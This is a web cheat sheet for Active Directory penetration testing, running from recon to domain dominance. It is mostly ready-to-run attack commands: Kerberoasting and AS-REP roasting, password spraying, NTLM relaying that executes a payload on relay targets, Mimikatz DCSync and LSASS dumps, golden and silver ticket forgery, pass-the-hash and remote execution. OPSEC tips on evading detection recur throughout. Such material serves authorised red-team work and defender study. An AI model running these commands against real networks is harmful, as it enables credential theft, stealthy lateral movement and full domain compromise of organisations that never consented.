// Home // Blog // Cheatsheets

Active Directory
Penetration Testing

Every AD attack technique from recon to forest-wide compromise — Kerberos abuse, delegation attacks, ticket forgery, cross-domain pivots, ADCS, and novel CVEs. Built for use during real engagements.

Attack Chain
01Recon
02Cred Attacks
03Delegation
04Tickets
05PrivEsc
06Dominance
07Persist
08Cross-Forest
// 00 — Understand Before You Attack

AD Architecture & Kerberos

What is Active Directory?

Active Directory is Microsoft's on-premises identity and access management system. Every Windows enterprise network runs it. It stores all accounts (users, computers, groups), enforces authentication via Kerberos, and delegates access to resources. Compromising AD means compromising every Windows machine in the organisation — domain controllers are the crown jewels because they hold the keys to every identity in the domain.

Forest: corp.local — The security boundary. Kerberos trusts do not cross forests without explicit trust.
🏛 corp.local Forest Root Domain Enterprise Admins · Schema Admins live here
📁 dev.corp.local Child Domain Parent↔Child trust: automatic · bidirectional · transitive
📁 prod.corp.local Child Domain Shares krbtgt chain — compromise child = path to parent
🔗 partner.org Forest Trust · SID filtering ON by default
🔗 legacy.local External Trust · non-transitive · one-way possible

Kerberos Authentication Flow & Attack Points

Every AD attack ultimately targets the Kerberos ticket system. Understanding each step tells you exactly what to steal, forge, or crack.

Kerberos Auth Flow — Where Each Attack Lives
Client
KDC / Domain Controller
Service
AS-REQ (timestamp enc. with user hash) ← AS-REP Roasting: no pre-auth needed AS-REP (TGT enc. with krbtgt hash) ← Golden Ticket forges this TGS-REQ (TGT + service SPN) TGS-REP (service ticket enc. with svc account hash) ← Kerberoasting: crack this offline · Silver Ticket forges this AP-REQ (service ticket presented) AP-REP — Access Granted ✓ AS-REP Roasting Target: DONT_REQ_PREAUTH users Crack: hashcat -m 18200 Kerberoasting Target: accounts with SPNs set Crack: hashcat -m 13100 Pass-the-Ticket / Overpass Steal or forge tickets Inject: Rubeus ptt
Key insight: The krbtgt account hash is the master key for the entire domain. All TGTs are encrypted with it. If you have this hash you can forge tickets for any user in the domain, as any group, for any service — this is why DCSync and NTDS.dit extraction are the ultimate domain objectives.
// 01 — Enumeration

Enumeration

Map the attack surface before touching a credential

Enumeration drives every decision in an AD engagement. You need to know: who has privileged roles, which accounts have SPNs (Kerberoasting targets), which computers have unconstrained delegation, which ACEs are exploitable, and what the shortest path to Domain Admin looks like. BloodHound answers all of this visually. PowerView gives you raw query power. Do enumeration thoroughly — rushing costs time later.

BloodHound — Attack Path Mapping

# --- SharpHound (C# collector — run on domain-joined machine)
.\SharpHound.exe -c All --zipfilename bh_output.zip
.\SharpHound.exe -c All,GPOLocalGroup --stealth   # slower but quieter
.\SharpHound.exe -c DCOnly                          # DCs only — fast, less noise

# --- BloodHound.py (remote, no agent needed)
bloodhound-python -u user -p Password123 -d corp.local -ns DC01_IP -c All
bloodhound-python -u user --hashes :NTLM_HASH -d corp.local -ns DC01_IP -c All

# Key BloodHound queries (run in Neo4j browser)
# Shortest path to Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

# All users with DCSync rights
MATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n

# Computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

# High-value paths from owned principals
MATCH p=shortestPath((u:User {owned:true})-[*1..5]->(g:Group {highvalue:true})) RETURN p

PowerView — AD Object Queries

Import-Module .\PowerView.ps1

# --- Domain / Forest info
Get-Domain | Select Name,DomainControllers,Forest
Get-DomainController | Select Name,IPAddress,OSVersion
Get-DomainTrust | Select SourceName,TargetName,TrustDirection,TrustType
Get-ForestDomain | Select Name                          # all domains in forest
Get-ForestTrust                                          # inter-forest trusts

# --- Users
Get-DomainUser | Select SamAccountName,Description,PasswordLastSet,LastLogonDate
Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName  # Kerberoasting targets
Get-DomainUser -UACFilter DONT_REQ_PREAUTH                          # AS-REP Roasting
Get-DomainUser -AdminCount 1 | Select SamAccountName               # AdminSDHolder-protected

# --- Computers
Get-DomainComputer | Select Name,OSVersion,DNSHostName
Get-DomainComputer -Unconstrained | Select Name,DNSHostName        # unconstrained delegation
Get-DomainComputer -TrustedToAuth | Select Name,msds-allowedtodelegateto

# --- Groups
Get-DomainGroup | Where-Object {$_.SamAccountName -match "admin"}
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroup -AdminCount 1                          # protected groups

# --- GPOs
Get-DomainGPO | Select DisplayName,GpcFileSysPath
Get-DomainGPO -ComputerIdentity WORKSTATION01          # GPOs applying to this machine
Get-DomainGPOComputerLocalGroupMapping -ComputerName DC01  # local admin via GPO

# --- ACL enumeration (critical — most overlooked)
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -match "CORP\lowpriv"}
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "Write|GenericAll"}

# --- Shares / logged-on users
Find-DomainShare -CheckShareAccess      # readable shares
Find-LocalAdminAccess                   # machines where current user is local admin
Get-LoggedOnLocal -ComputerName DC01    # who is logged onto a machine

ldapdomaindump — LDAP Enumeration (No Agent)

# Dump all LDAP objects to JSON/HTML
ldapdomaindump -u "corp.local\user" -p Password123 ldap://DC01_IP -o ./loot/

# With hash auth
ldapdomaindump -u "corp.local\user" --authentication NTLM -p :NTLM_HASH ldap://DC01_IP -o ./loot/

# Output files: domain_users.json, domain_computers.json, domain_groups.json, domain_trusts.json

netexec — Fast Network Recon

# SMB host discovery + signing check
nxc smb 192.168.1.0/24                                   # discover all SMB hosts
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt  # no SMB signing

# Password spray
nxc smb DC01_IP -u users.txt -p 'Winter2026!' --no-bruteforce --continue-on-success

# Enum shares, sessions, logged-on users
nxc smb DC01_IP -u user -p Password123 --shares
nxc smb 192.168.1.0/24 -u user -p Password123 --sessions
nxc smb 192.168.1.0/24 -u user -p Password123 --loggedon-users

# Enumerate LDAP
nxc ldap DC01_IP -u user -p Password123 --users
nxc ldap DC01_IP -u user -p Password123 --groups
nxc ldap DC01_IP -u user -p Password123 --kerberoasting kerberoast.txt
nxc ldap DC01_IP -u user -p Password123 --asreproast asrep.txt
OPSEC: BloodHound.py generates significant LDAP traffic. SharpHound with --stealth randomises collection intervals. PowerView queries are logged in AD audit logs if Object Access auditing is enabled. Prefer targeted queries over Get-DomainUser * on highly monitored environments.
// 02 — Password Attacks

Password Attacks

Kerberoasting

What is Kerberoasting?

Any authenticated domain user can request a Kerberos service ticket (TGS) for any account that has a Service Principal Name (SPN) set. That ticket is encrypted with the service account's NTLM hash. You take that encrypted blob offline and crack it — no lockout, no noise on the DC, no special privileges needed. Service accounts are often long-lived with weak passwords. This is the highest-yield credential attack in AD.

# --- Find Kerberoastable accounts
Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName,PasswordLastSet
Import-Module ActiveDirectory; Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# --- Rubeus (on domain host)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /outfile:sql.txt /format:hashcat
.\Rubeus.exe kerberoast /rc4opsec /nowrap      # only RC4 tickets (weaker encryption = easier crack)

# --- Impacket (from Linux, no agent)
python3 GetUserSPNs.py corp.local/user:Password -request -outputfile kerberoast.txt
python3 GetUserSPNs.py corp.local/user -hashes :NTLM_HASH -request -outputfile kerberoast.txt -dc-ip DC01_IP

# --- netexec
nxc ldap DC01_IP -u user -p Password --kerberoasting kerberoast.txt

# --- Crack
hashcat -a 0 -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt

AS-REP Roasting

What is AS-REP Roasting?

Normally, Kerberos pre-authentication is required — the client proves it knows the password before the KDC hands out a ticket. When pre-auth is disabled (the DONT_REQ_PREAUTH flag), anyone can request an AS-REP for that account. The KDC responds with data encrypted with the user's hash — no authentication needed. You crack the hash offline. Unlike Kerberoasting, you don't even need a domain account to perform this attack if you have a user list.

# --- Find vulnerable users
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select SamAccountName,DistinguishedName
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# --- Rubeus (authenticated)
.\Rubeus.exe asreproast /outfile:asrep.txt /format:hashcat /nowrap

# --- Impacket (no creds needed — just a user list)
python3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -no-pass -outputfile asrep.txt -dc-ip DC01_IP
python3 GetNPUsers.py corp.local/user:Password -request -format hashcat -outputfile asrep.txt

# --- netexec
nxc ldap DC01_IP -u user -p Password --asreproast asrep.txt

# --- Crack
hashcat -a 0 -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5asrep asrep.txt

Password Spraying

Low-and-slow credential guessing

One password against many accounts — never the other way around. AD Smart Lockout locks accounts after 10 failed attempts per 10 minutes by default. Wait 30–45 minutes between rounds. Target seasonal passwords (Winter2026!, Company@2026), default onboarding passwords, and the company name + year pattern. Build a valid user list from enumeration or email harvesting first — you want confirmed accounts only.

# --- Kerbrute (fastest, uses Kerberos — no auth event on failed tries)
./kerbrute_linux_amd64 userenum --dc DC01_IP -d corp.local users.txt
./kerbrute_linux_amd64 passwordspray --dc DC01_IP -d corp.local users.txt 'Winter2026!'

# --- Rubeus (from Windows domain host)
.\Rubeus.exe brute /users:users.txt /password:Winter2026! /dc:DC01_IP /domain:corp.local /noticket

# --- netexec (SMB spray)
nxc smb DC01_IP -u users.txt -p 'Winter2026!' --no-bruteforce --continue-on-success
nxc smb DC01_IP -u users.txt -p 'Winter2026!' --no-bruteforce --continue-on-success --local-auth

# --- Impacket
python3 kerbrute.py -domain corp.local -users users.txt -passwords passwords.txt -outputfile spray_hits.txt -dc-ip DC01_IP

LLMNR / NBT-NS Poisoning

Passive credential capture from network mistakes

When a Windows machine fails DNS resolution (mistyped share name, unconfigured host), it falls back to LLMNR and NBT-NS broadcasts asking "does anyone know where <host> is?". Responder answers those broadcasts, impersonating the target, and the victim's machine sends an NTLMv2 challenge response — which contains a hash you can crack or relay. Completely passive, no brute-force, no lockout. Highly effective in corporate LAN environments.

# --- Responder (capture NTLMv2 hashes)
sudo responder -I eth0 -wdv
sudo responder -I eth0 -w --lm          # downgrade to LM (weak, easy crack)

# --- Relay instead of cracking (when SMB signing is off)
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -i       # interactive SMB session
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -e evil.exe  # exec payload on relay target
sudo ntlmrelayx.py -t ldaps://DC01.corp.local --delegate-access  # RBCD via LDAP relay

# --- Crack captured hashes
hashcat -a 0 -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 ntlmv2_hashes.txt

mitm6 — IPv6 DNS Takeover

Abusing IPv6 preference on Windows networks

Windows prefers IPv6 over IPv4 when both are available. mitm6 responds to DHCPv6 requests, assigning itself as the IPv6 DNS server. It then responds to DNS queries — including those for WPAD (web proxy auto-discovery) — routing NTLM authentication to an attacker-controlled relay. Even without WPAD, all periodic machine auth events (group policy refresh, etc.) get relayed. Extremely powerful against networks that have IPv6 enabled but not managed.

# Start mitm6 (poisoning) in one terminal
sudo mitm6 -d corp.local

# Start relay in another terminal (LDAP RBCD attack — most impactful)
sudo ntlmrelayx.py -6 -t ldaps://DC01.corp.local --delegate-access --add-computer-name ATTACKPC --add-computer-password 'Attack3r!'
# Result: creates machine account with RBCD on victims machine → compromise that host

# Relay to LDAP to add to Domain Admins (needs existing DA relay)
sudo ntlmrelayx.py -6 -t ldap://DC01.corp.local --escalate-user lowpriv_user
OPSEC: Kerberoasting is invisible to basic logging — the TGS request looks legitimate. AS-REP Roasting leaves Event ID 4768 (TGT request) with RC4 encryption flagged. Responder generates alerts on advanced EDR/NDR solutions. Use --lm sparingly — NTLMv1 capture is very loud. Always verify lockout policies before spraying.
// 03 — Delegation Attacks

Delegation Attacks

What is Kerberos delegation?

Delegation allows a service to authenticate to other services on behalf of a user — enabling multi-tier architectures (web server → database). Microsoft implemented three delegation types with increasing security. Each has unique attack conditions. Delegation misconfigurations are one of the most common paths to Domain Admin in real environments.

Unconstrained Delegation
CRITICAL
The service receives and stores the user's full TGT in memory. It can impersonate the user to any service in the domain. If you compromise a host with unconstrained delegation, you steal every TGT in memory — including Domain Controllers if you can coerce them to authenticate.
Constrained Delegation
HIGH
The service can only delegate to specific SPNs (set in msDS-AllowedToDelegateTo). Attack: use S4U2Self to get a service ticket for any user (including admin), then S4U2Proxy to forward to the permitted service. Requires the delegating account's hash.
Resource-Based Constrained (RBCD)
HIGH
The target resource controls who can delegate to it (msDS-AllowedToActOnBehalfOfOtherIdentity). If you have write access to a machine account object, you can configure RBCD pointing to your own machine account and impersonate any user to that target. No account hash needed — just AD write permission.

Unconstrained Delegation — Steal TGTs from Memory

# --- Find hosts with unconstrained delegation (DCs are excluded from analysis — they always have it)
Get-DomainComputer -Unconstrained | Where-Object {$_.Name -notlike "*DC*"} | Select Name,DNSHostName
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -eq 515} -Properties TrustedForDelegation

# --- After compromising the host: monitor for incoming TGTs (run as SYSTEM)
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$   # wait for DC TGT

# --- Coerce DC to authenticate to your host (PrinterBug)
.\SpoolSample.exe DC01.corp.local WEBSERVER01.corp.local

# --- Coerce with PetitPotam (doesn't require Print Spooler)
python3 PetitPotam.py -u user -p Password WEBSERVER01.corp.local DC01.corp.local

# --- Extract TGT once it arrives
.\Rubeus.exe dump /service:krbtgt /luid:0x3e4 /nowrap
.\Rubeus.exe ptt /ticket:BASE64_TGT_HERE

# --- Now perform DCSync as Domain Controller
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"

Constrained Delegation — S4U2Self + S4U2Proxy

# --- Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth | Select SamAccountName,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select Name,msds-allowedtodelegateto
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo,SAMAccountName

# --- Rubeus full S4U attack (need delegating account hash)
.\Rubeus.exe asktgt /user:svc_iis /rc4:NTLM_HASH /outfile:svc_iis.kirbi /nowrap
.\Rubeus.exe s4u /ticket:svc_iis.kirbi /impersonateuser:Administrator /msdsspn:"CIFS/fileserver.corp.local" /ptt
# Variation: altservice to pivot to a different service on same host
.\Rubeus.exe s4u /ticket:svc_iis.kirbi /impersonateuser:Administrator /msdsspn:"HTTP/webserver.corp.local" /altservice:CIFS /ptt

# --- Impacket chain
python3 getST.py corp.local/svc_iis -hashes :NTLM_HASH -spn CIFS/fileserver.corp.local -impersonate Administrator
export KRB5CCNAME=Administrator@CIFS_fileserver.corp.local@CORP.LOCAL.ccache
python3 psexec.py -k -no-pass fileserver.corp.local

Resource-Based Constrained Delegation (RBCD)

When do you use RBCD?

RBCD is the go-to attack when you have write access to a computer account object — through GenericAll, GenericWrite, WriteDACL, or WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity. You create a machine account you control (using MachineAccountQuota), configure the target to trust your machine for delegation, then use S4U to impersonate any user including Domain Admin. This attack works even without any existing elevated privileges.

# --- Check MachineAccountQuota (default: 10 — means any user can add 10 machines)
Get-DomainObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota

# --- Step 1: Create attacker-controlled machine account
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE$ -Password $(ConvertTo-SecureString 'Hax0r!2026' -AsPlainText -Force)

# --- Step 2: Get SID of new machine account
$sid = (Get-DomainComputer FAKEMACHINE$ -Properties objectsid).objectsid

# --- Step 3: Set RBCD on target (requires write permission on TARGET_MACHINE)
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Get-DomainComputer TARGET_MACHINE | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $sdBytes}

# --- Step 4: S4U attack — impersonate Administrator to TARGET_MACHINE
.\Rubeus.exe asktgt /user:FAKEMACHINE$ /password:Hax0r!2026 /outfile:fake.kirbi /nowrap
.\Rubeus.exe s4u /ticket:fake.kirbi /impersonateuser:Administrator /msdsspn:"CIFS/TARGET_MACHINE.corp.local" /ptt

# --- Full Impacket chain (Linux)
python3 addcomputer.py corp.local/user:Password -computer-name FAKEMACHINE$ -computer-pass Hax0r!2026 -dc-ip DC01_IP
python3 rbcd.py corp.local/user:Password -action write -delegate-from FAKEMACHINE$ -delegate-to TARGET_MACHINE$ -dc-ip DC01_IP
python3 getST.py corp.local/FAKEMACHINE$:Hax0r!2026 -spn CIFS/TARGET_MACHINE.corp.local -impersonate Administrator -dc-ip DC01_IP
export KRB5CCNAME=Administrator@CIFS_TARGET_MACHINE.corp.local@CORP.LOCAL.ccache
python3 secretsdump.py -k -no-pass TARGET_MACHINE.corp.local
Note on RBCD vs Constrained: With constrained delegation you need the service account hash. With RBCD you just need AD write permission — much more accessible from a low-priv compromise. RBCD via LDAP relay (ntlmrelayx + mitm6) is particularly powerful because it requires zero exploitation of the target host itself.
// 04 — Ticket Attacks

Kerberos Ticket Attacks

Tickets are the currency of AD authentication

Kerberos operates entirely on tickets. Once you control the right keys (krbtgt hash for TGTs, service account hash for TGS), you can forge tickets as any user for any service without touching a domain controller again. These forged tickets bypass password resets and many detection controls — understanding all four ticket types and their detection profiles is essential for both offense and defense.

Golden Ticket
Forged TGT
Requires: krbtgt NTLM hash
Scope: Entire domain — any user, any service
Lifetime: 10 years (default forged)
DC contact: Yes (TGS-REQ)
Survives: Password resets (need 2× krbtgt rotation to kill)
Silver Ticket
Forged TGS
Requires: Service account NTLM hash
Scope: Specific service (CIFS, HOST, LDAP…)
Lifetime: Configurable
DC contact: None — offline forgery
Stealthier: No KDC interaction; harder to detect
Diamond Ticket
Modified TGT
Requires: krbtgt AES key + valid creds
Scope: Entire domain
Method: Request real TGT, decrypt PAC, modify groups, re-encrypt
Evades: Golden Ticket detections (has valid KDC signature)
Sapphire Ticket
Stolen PAC
Requires: krbtgt AES key
Scope: Entire domain
Method: Decrypt victim's TGT PAC using S4U2Self + U2U, inject into new ticket
Stealthiest: Preserves all legitimate PAC attributes

Golden Ticket — Forge Any TGT

# --- Prerequisites: krbtgt hash + domain SID
# Get krbtgt hash via DCSync
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
python3 secretsdump.py corp.local/Administrator:Password@DC01_IP -just-dc-user krbtgt

# Get domain SID
(Get-ADDomain).DomainSID.Value
# or: whoami /user → strip last -XXXX component

# --- Forge Golden Ticket (Mimikatz)
.\Mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH /id:500 /groups:512,513,518,519,520 /ptt" "exit"

# Save to file (use with /ptt or with Rubeus ptt)
.\Mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH /id:500 /groups:512,518,519 /ticket:golden.kirbi" "exit"

# --- Forge Golden Ticket (Rubeus)
.\Rubeus.exe golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /rc4:KRBTGT_HASH /id:500 /groups:512,513,518,519,520 /ptt

# AES256 key (more stealthy — RC4 is flagged by ATA/Defender for Identity)
.\Rubeus.exe golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /aes256:KRBTGT_AES256 /id:500 /ptt

# --- Impacket (generate .ccache)
python3 ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXXX-XXXX-XXXX -domain corp.local -user-id 500 -groups 512,513,518,519,520 FakeAdmin
export KRB5CCNAME=FakeAdmin.ccache
python3 psexec.py -k -no-pass corp.local/FakeAdmin@DC01.corp.local

Silver Ticket — Forge a TGS for Specific Service

# --- Forge TGS for CIFS (file access)
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:fileserver.corp.local /service:cifs /rc4:SVC_MACHINE_HASH /ptt" "exit"

# --- HOST service — run commands via sc.exe / tasks
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:DC01.corp.local /service:host /rc4:DC_MACHINE_HASH /ptt" "exit"

# --- LDAP service — DCSync without DA (use silver ticket for DC's LDAP service)
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:DC01.corp.local /service:ldap /rc4:DC_MACHINE_HASH /ptt" "exit"
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /domain:corp.local" "exit"

# --- HTTP service — access web apps as admin
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:intranet.corp.local /service:http /rc4:SVC_HASH /ptt" "exit"

# Silver Ticket with Rubeus
.\Rubeus.exe silver /user:Administrator /service:CIFS/fileserver.corp.local /rc4:SVC_HASH /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /ptt

Diamond Ticket — Evading Golden Ticket Detections

Why Diamond over Golden?

Golden Tickets have a tell: the PAC is signed only with the krbtgt key, not with the KDC service key. Microsoft Defender for Identity and similar tools detect this. Diamond Tickets request a real TGT from the KDC, then decrypt and modify the PAC (changing group memberships), and re-encrypt. The result passes all PAC validation checks because it has a legitimate KDC signature — the only way to detect it is to verify PAC contents against directory objects.

# Rubeus Diamond Ticket (requires valid credentials + krbtgt AES256 key)
.\Rubeus.exe diamond /user:lowpriv /password:Password123 /enctype:aes256 /domain:corp.local /dc:DC01.corp.local /krbkey:KRBTGT_AES256 /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /ptt

# With existing user TGT
.\Rubeus.exe diamond /tgtdeleg /domain:corp.local /dc:DC01.corp.local /krbkey:KRBTGT_AES256 /ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt

Sapphire Ticket — Stealthiest Ticket Forgery

# Impacket — decrypt victim's PAC via S4U2Self+U2U, inject into new ticket
python3 ticketer.py -request -domain corp.local -user lowpriv -password Password123 \
  -nthash KRBTGT_HASH -aesKey KRBTGT_AES256 -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
  -user-id 500 -groups 512,513,518,519,520 Administrator
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

Pass-the-Ticket (PtT)

# --- Export all tickets from current session (Mimikatz)
.\Mimikatz.exe "sekurlsa::tickets /export" "exit"    # exports .kirbi files
.\Mimikatz.exe "kerberos::list /export" "exit"

# --- Export with Rubeus
.\Rubeus.exe dump /nowrap                             # all tickets as base64
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap  # specific LUID / service

# --- Inject ticket into current session
.\Rubeus.exe ptt /ticket:BASE64_OR_KIRBI_FILE
.\Mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

# --- Verify ticket loaded
.\Rubeus.exe klist
klist                                                 # native Windows command

# --- Use ticket
dir \\fileserver.corp.local\C$
Invoke-Command -ComputerName DC01.corp.local -ScriptBlock {hostname}
Detection notes: Event ID 4769 (TGS request) is logged for every service ticket. Golden Tickets with RC4 encryption trigger alerts in MDI (RC4 deprecated). Use AES256 keys. Diamond Tickets are hardest to detect. Silver Tickets generate no DC traffic at all — the only log is on the target service host.
// 05 — Lateral Movement

Lateral Movement

Pass-the-Hash (PtH)

NTLM hash = password equivalent

Windows NTLM authentication uses the password hash directly — not the password itself. An NTLM hash is functionally equivalent to the plaintext password for network authentication. Harvest hashes from LSASS memory on a compromised host, then use them to authenticate to any other host where that account has access. No cracking required. Works against any service using NTLM (SMB, WMI, WinRM, RDP with restricted admin mode).

# --- Impacket suite (most versatile — from Linux)
python3 psexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH
python3 wmiexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH
python3 smbexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH
python3 atexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH "whoami"

# --- netexec (bulk testing + exec)
nxc smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth   # local admin
nxc smb 192.168.1.0/24 -u Administrator -H NTLM_HASH                 # domain account
nxc smb TARGETS_FILE -u Administrator -H NTLM_HASH -x "whoami"       # exec command
nxc winrm TARGETS_FILE -u Administrator -H NTLM_HASH -x "whoami"     # via WinRM

Over-Pass-the-Hash (OPtH) / Pass-the-Key

# Convert NTLM hash into a Kerberos TGT (avoids NTLM, uses Kerberos — harder to detect)
.\Mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:powershell.exe" "exit"
# Opens new PowerShell with the user's Kerberos identity — can now access Kerberos-only resources

# With AES256 key (stealthiest — no RC4 downgrade)
.\Mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /aes256:AES256_KEY /run:powershell.exe" "exit"

# Rubeus (request TGT using hash, inject into session)
.\Rubeus.exe asktgt /user:Administrator /rc4:NTLM_HASH /domain:corp.local /ptt
.\Rubeus.exe asktgt /user:Administrator /aes256:AES256_KEY /domain:corp.local /ptt /opsec

# Impacket — get TGT from hash
python3 getTGT.py corp.local/Administrator -hashes :NTLM_HASH -dc-ip DC01_IP
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local

WMI Execution

# Native WMIC (noisy — uses NTLM)
wmic /node:TARGET_IP /user:corp\Administrator /password:Password process call create "powershell -enc BASE64"

# Invoke-WMIMethod (PowerShell remoting alternative — Kerberos)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\output.txt" -ComputerName TARGET.corp.local -Credential (Get-Credential)

# Impacket wmiexec (interactive shell)
python3 wmiexec.py corp.local/Administrator:Password@TARGET_IP
python3 wmiexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

WinRM / Evil-WinRM

# Evil-WinRM — full-featured PowerShell shell over WinRM
evil-winrm -i TARGET_IP -u Administrator -p Password
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH    # Pass-the-Hash
evil-winrm -i TARGET_IP -u Administrator -p Password -S   # SSL
evil-winrm -i TARGET_IP -c cert.pem -k key.pem -S        # certificate auth

# Upload/download within evil-winrm
upload /path/to/tool.exe
download C:\\Windows\\Temp\\loot.txt

DCOM Lateral Movement

# DCOM - Distributed Component Object Model (port 135 + dynamic high port)
# SharpDCOM — multiple DCOM methods
.\SharpDCOM.exe -t TARGET_IP -m MMC20Application -c "powershell -enc BASE64"
.\SharpDCOM.exe -t TARGET_IP -m ShellWindows -c "notepad.exe"

# PowerShell native DCOM (MMC20.Application method — classic)
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGET_IP"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c powershell -enc BASE64", "7")

# Invoke-DCOM (PowerShell module)
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName TARGET_IP -Method MMC20.Application -Command "powershell -enc BASE64"

Harvesting Credentials from Memory

# --- Mimikatz LSASS credential dump
.\Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"     # plaintext + NTLM
.\Mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit"            # WDigest (Win 7/2008)
.\Mimikatz.exe "privilege::debug" "lsadump::sam" "exit"                 # local SAM hashes

# --- Dump LSASS process remotely (task scheduler method)
schtasks /create /s TARGET_IP /u Administrator /p Password /tn "lsass" /tr "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\loot\lsass.dmp full" /sc once /st 00:00

# --- Pypykatz (parse lsass.dmp on Linux)
pypykatz lsa minidump lsass.dmp

# --- Extracting from NTDS via VSS (see Section 08)

# --- Remote with netexec (SAM + LSA)
nxc smb TARGET_IP -u Administrator -p Password --sam
nxc smb TARGET_IP -u Administrator -p Password --lsa
OPSEC — execution method selection: PSExec writes a service binary to disk (noisy). WMIExec runs in memory (quieter). DCOM uses legitimate COM infrastructure (hard to distinguish from normal traffic). Evil-WinRM over SSL blends with legitimate remote management. Prefer Kerberos (OPtH) over NTLM to avoid pass-the-hash NTLM alerts.
// 06 — Privilege Escalation

Privilege Escalation

ACL / ACE Abuse — The Most Overlooked Path to DA

Access Control Entries are attack paths

Every AD object has a DACL (Discretionary Access Control List) containing ACEs (Access Control Entries) that define who can do what to that object. Misconfigured ACEs — especially on privileged groups, computers, and the domain object itself — are the most common privilege escalation path in mature AD environments that have patched all CVEs. BloodHound maps these automatically. Understand what each ACE means before touching it.

ACE RightTargetAttackImpact
GenericAllUserReset password, add SPN (Kerberoast), shadow credsAccount takeover
GenericAllGroupAddMember — add self or controlled accountGroup membership
GenericAllComputerRBCD attack, shadow credentialsLocal admin → SYSTEM
